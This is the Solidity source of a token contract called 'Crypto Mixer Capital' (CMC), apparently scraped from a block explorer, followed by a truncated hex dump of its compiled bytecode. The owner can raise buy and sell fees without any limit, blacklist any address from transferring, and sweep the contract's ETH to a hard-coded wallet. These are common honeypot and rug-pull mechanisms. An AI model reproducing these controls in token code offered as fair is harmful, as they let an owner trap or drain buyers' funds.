event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract CMCTOKEN is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 600000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint256 private _FeeoFSell;
uint256 private _FeeOfBuy;
address payable private _feeAddress;
string private constant _name = "Crypto Mixer Capital";
string private constant _symbol = "CMC";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private removeMaxTx = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddress = payable(0xb426E80cE227B2aCF1CC216cb6f5D4442b67eaaB);
_FeeOfBuy = 1;
_FeeoFSell = 1;
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddress] = true;
emit Transfer(address(0), address(this), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setRemoveMaxTx(bool onoff) external onlyOwner() {
removeMaxTx = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0);
require(!bots[from]);
if (!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to] ) {
_feeAddr1 = 0;
_feeAddr2 = _FeeOfBuy;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _maxTxAmount);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = _FeeoFSell;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
uint burnAmount = contractTokenBalance/3;
contractTokenBalance -= burnAmount;
burnToken(burnAmount);
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function burnToken(uint burnAmount) private lockTheSwap{
if(burnAmount > 0){
_transfer(address(this), address(0xdead),burnAmount);
}
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
if (maxTxAmount > 20000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddress.transfer(amount);
}
function createPair() external onlyOwner(){
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function openTrading() external onlyOwner() {
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
removeMaxTx = true;
_maxTxAmount = 6000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() public onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() public onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _setFee(uint256 buyFee,uint256 sellFee) external onlyOwner() {
_FeeOfBuy = buyFee;
_FeeoFSell = sellFee;
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101235760003560e01c8063715018a6116100a0578063b515566a11610064578063b515566a146103ba578063c3c8cd80146103e3578063c9567bf9146103fa578063dd62ed3e14610411578063dd726e7c1461044e5761012a565b8063715018a6146102f95780638da5cb5b1461031057806395d89b411461033b5780639e78fb4f14610366578063a9059cbb1461037d5761012a565b8063273123b7116100e7578063273123b714610228578063313ce5671461025157806346df33b71461027c5780636fc3eaec146102a557806370a08231146102bc5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631bbae6e0146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610477565b6040516101519190612606565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c91906126d0565b6104b4565b60405161018e919061272b565b60405180910390f35b3480156101a357600080fd5b506101ac6104d2565b6040516101b99190612755565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e49190612770565b6104e2565b005b3480156101f757600080fd5b50610212600480360381019061020d919061279d565b610590565b60405161021f919061272b565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a91906127f0565b610669565b005b34801561025d57600080fd5b50610266610759565b6040516102739190612839565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e9190612880565b610762565b005b3480156102b157600080fd5b506102ba610814565b005b3480156102c857600080fd5b506102e360048036038101906102de91906127f0565b6108ba565b6040516102f09190612755565b60405180910390f35b34801561030557600080fd5b5061030e61090b565b005b34801561031c57600080fd5b50610325610a5e565b60405161033291906128bc565b60405180910390f35b34801561034757600080fd5b50610350610a87565b60405161035d9190612606565b60405180910390f35b34801561037257600080fd5b5061037b610ac4565b005b34801561038957600080fd5b506103a4600480360381019061039f91906126d0565b610da0565b6040516103b1919061272b565b60405180910390f35b3480156103c657600080fd5b506103e160048036038101906103dc9190612a1f565b610dbe565b005b3480156103ef57600080fd5b506103f8610ee8565b005b34801561040657600080fd5b5061040f610f96565b005b34801561041d57600080fd5b5061043860048036038101906104339190612a68565b611260565b6040516104459190612755565b60405180910390f35b34801561045a57600080fd5b5061047560048036038101906104709190612aa8565b6112e7565b005b60606040518060400160405280601481526020017f43727970746f204d69786572204361706974616c000000000000000000000000815250905090565b60006104c86104c161138e565b8484611396565b6001905092915050565b6000670853a0d2313c0000905090565b6104ea61138e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610577576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056e90612b34565b60405180910390fd5b6512309ce5400081111561058d57806010819055505b50565b600061059d84848461155f565b61065e846105a961138e565b6106598560405180606001604052806028815260200161347f60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061060f61138e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ab49092919063ffffffff16565b611396565b600190509392505050565b61067161138e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106f590612b34565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61076a61138e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107ee90612b34565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b61081c61138e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108a090612b34565b60405180910390fd5b60004790506108b781611b18565b50565b6000610904600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b84565b9050919050565b61091361138e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099790612b34565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f434d430000000000000000000000000000000000000000000000000000000000815250905090565b610acc61138e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5090612b34565b60405180910390fd5b600f60149054906101000a900460ff1615610ba9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba090612ba0565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c4e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c729190612bd5565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610cd9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cfd9190612bd5565b6040518363ffffffff1660e01b8152600401610d1a929190612c02565b6020604051808303816000875af1158015610d39573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d5d9190612bd5565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610db4610dad61138e565b848461155f565b6001905092915050565b610dc661138e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e53576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4a90612b34565b60405180910390fd5b60005b8151811015610ee457600160066000848481518110610e7857610e77612c2b565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610edc90612c89565b915050610e56565b5050565b610ef061138e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f7d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7490612b34565b60405180910390fd5b6000610f88306108ba565b9050610f9381611bf2565b50565b610f9e61138e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461102b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102290612b34565b60405180910390fd5b61106030600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670853a0d2313c0000611396565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306110a9306108ba565b6000806110b4610a5e565b426040518863ffffffff1660e01b81526004016110d696959493929190612d16565b60606040518083038185885af11580156110f4573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111199190612d8c565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff021916908315150217905550661550f7dca700006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161121a929190612ddf565b6020604051808303816000875af1158015611239573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061125d9190612e1d565b50565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6112ef61138e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461137c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137390612b34565b60405180910390fd5b81600c8190555080600b819055505050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611405576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113fc90612ebc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611474576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146b90612f4e565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115529190612755565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036115ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115c590612fe0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361163d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161163490613072565b60405180910390fd5b6000811161164a57600080fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156116a157600080fd5b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156117455750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611aa4576000600981905550600c54600a81905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156118065750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561185c5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156118745750600f60179054906101000a900460ff165b156118a9576000611884836108ba565b905060105461189c8284611e6b90919063ffffffff16565b11156118a757600080fd5b505b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156119545750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156119aa5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119c1576000600981905550600b54600a819055505b60006119cc306108ba565b9050600f60159054906101000a900460ff16158015611a395750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a515750600f60169054906101000a900460ff165b15611aa2576000600382611a6591906130c1565b90508082611a7391906130f2565b9150611a7e81611ec9565b611a8782611bf2565b60004790506000811115611a9f57611a9e47611b18565b5b50505b505b611aaf838383611f19565b505050565b6000838311158290611afc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611af39190612606565b60405180910390fd5b5060008385611b0b91906130f2565b9050809150509392505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611b80573d6000803e3d6000fd5b5050565b6000600754821115611bcb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bc290613198565b60405180910390fd5b6000611bd5611f29565b9050611bea8184611f5490919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611c2a57611c296128dc565b5b604051908082528060200260200182016040528015611c585781602001602082028036833780820191505090505b5090503081600081518110611c7057611c6f612c2b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611d17573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d3b9190612bd5565b81600181518110611d4f57611d4e612c2b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611db630600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611396565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611e1a959493929190613276565b600060405180830381600087803b158015611e3457600080fd5b505af1158015611e48573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b6000808284611e7a91906132d0565b905083811015611ebf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eb690613372565b60405180910390fd5b8091505092915050565b6001600f60156101000a81548160ff0219169083151502179055506000811115611efb57611efa3061dead8361155f565b5b6000600f60156101000a81548160ff02191690831515021790555050565b611f24838383611f9e565b505050565b6000806000611f36612169565b91509150611f4d8183611f5490919063ffffffff16565b9250505090565b6000611f9683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506121c8565b905092915050565b600080600080600080611fb08761222b565b95509550955095509550955061200e86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461229390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120a385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e6b90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120ef816122dd565b6120f9848361239a565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516121569190612755565b60405180910390a3505050505050505050565b600080600060075490506000670853a0d2313c0000905061219d670853a0d2313c0000600754611f5490919063ffffffff16565b8210156121bb57600754670853a0d2313c00009350935050506121c4565b81819350935050505b9091565b6000808311829061220f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122069190612606565b60405180910390fd5b506000838561221e91906130c1565b9050809150509392505050565b60008060008060008060008060006122488a600954600a546123d4565b9250925092506000612258611f29565b9050600080600061226b8e87878761246a565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006122d583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ab4565b905092915050565b60006122e7611f29565b905060006122fe82846124f390919063ffffffff16565b905061235281600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e6b90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6123af8260075461229390919063ffffffff16565b6007819055506123ca81600854611e6b90919063ffffffff16565b6008819055505050565b60008060008061240060646123f2888a6124f390919063ffffffff16565b611f5490919063ffffffff16565b9050600061242a606461241c888b6124f390919063ffffffff16565b611f5490919063ffffffff16565b9050600061245382612445858c61229390919063ffffffff16565b61229390919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061248385896124f390919063ffffffff16565b9050600061249a86896124f390919063ffffffff16565b905060006124b187896124f390919063ffffffff16565b905060006124da826124cc858761229390919063ffffffff16565b61229390919063ffffffff16565b9050838184965096509650505050509450945094915050565b60008083036125055760009050612567565b600082846125139190613392565b905082848261252291906130c1565b14612562576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125599061345e565b60405180910390fd5b809150505b92915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156125a757808201518184015260208101905061258c565b838111156125b6576000848401525b50505050565b6000601f19601f8301169050919050565b60006125d88261256d565b6125e28185612578565b93506125f2818560208601612589565b6125fb816125bc565b840191505092915050565b6000602082019050818103600083015261262081846125cd565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006126678261263c565b9050919050565b6126778161265c565b811461268257600080fd5b50565b6000813590506126948161266e565b92915050565b6000819050919050565b6126ad8161269a565b81146126b857600080fd5b50565b6000813590506126ca816126a4565b92915050565b600080604083850312156126e7576126e6612632565b5b60006126f585828601612685565b9250506020612706858286016126bb565b9150509250929050565b60008115159050919050565b61272581612710565b82525050565b6000602082019050612740600083018461271c565b92915050565b61274f8161269a565b82525050565b600060208201905061276a6000830184612746565b92915050565b60006020828403121561278657612785612632565b5b6000612794848285016126bb565b91505092915050565b6000806000606084860312156127b6576127b5612632565b5b60006127c486828701612685565b93505060206127d586828701612685565b92505060406127e6868287016126bb565b9150509250925092565b60006020828403121561280657612805612632565b5b600061281484828501612685565b91505092915050565b600060ff82169050919050565b6128338161281d565b82525050565b600060208201905061284e600083018461282a565b92915050565b61285d81612710565b811461286857600080fd5b50565b60008135905061287a81612854565b92915050565b60006020828403121561289657612895612632565b5b60006128a48482850161286b565b91505092915050565b6128b68161265c565b82525050565b60006020820190506128d160008301846128ad565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612914826125bc565b810181811067ffffffffffffffff82111715612933576129326128dc565b5b80604052505050565b6000612946612628565b9050612952828261290b565b919050565b600067ffffffffffffffff821115612972576129716128dc565b5b602082029050602081019050919050565b600080fd5b600061299b61299684612957565b61293c565b905080838252602082019050602084028301858111156129be576129bd612983565b5b835b818110156129e757806129d38882612685565b8452602084019350506020810190506129c0565b5050509392505050565b600082601f830112612a0657612a056128d7565b5b8135612a16848260208601612988565b91505092915050565b600060208284031215612a3557612a34612632565b5b600082013567ffffffffffffffff811115612a5357612a52612637565b5b612a5f848285016129f1565b91505092915050565b60008060408385031215612a7f57612a7e612632565b5b6000612a8d85828601612685565b9250506020612a9e85828601612685565b9150509250929050565b60008060408385031215612abf57612abe612632565b5b6000612acd858286016126bb565b9250506020612ade858286016126bb565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612b1e602083612578565b9150612b2982612ae8565b602082019050919050565b60006020820190508181036000830152612b4d81612b11565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612b8a601783612578565b9150612b9582612b54565b602082019050919050565b60006020820190508181036000830152612bb981612b7d565b9050919050565b600081519050612bcf8161266e565b92915050565b600060208284031215612beb57612bea612632565b5b6000612bf984828501612bc0565b91505092915050565b6000604082019050612c1760008301856128ad565b612c2460208301846128ad565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612c948261269a565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612cc657612cc5612c5a565b5b600182019050919050565b6000819050919050565b6000819050919050565b6000612d00612cfb612cf684612cd1565b612cdb565b61269a565b9050919050565b612d1081612ce5565b82525050565b600060c082019050612d2b60008301896128ad565b612d386020830188612746565b612d456040830187612d07565b612d526060830186612d07565b612d5f60808301856128ad565b612d6c60a083018461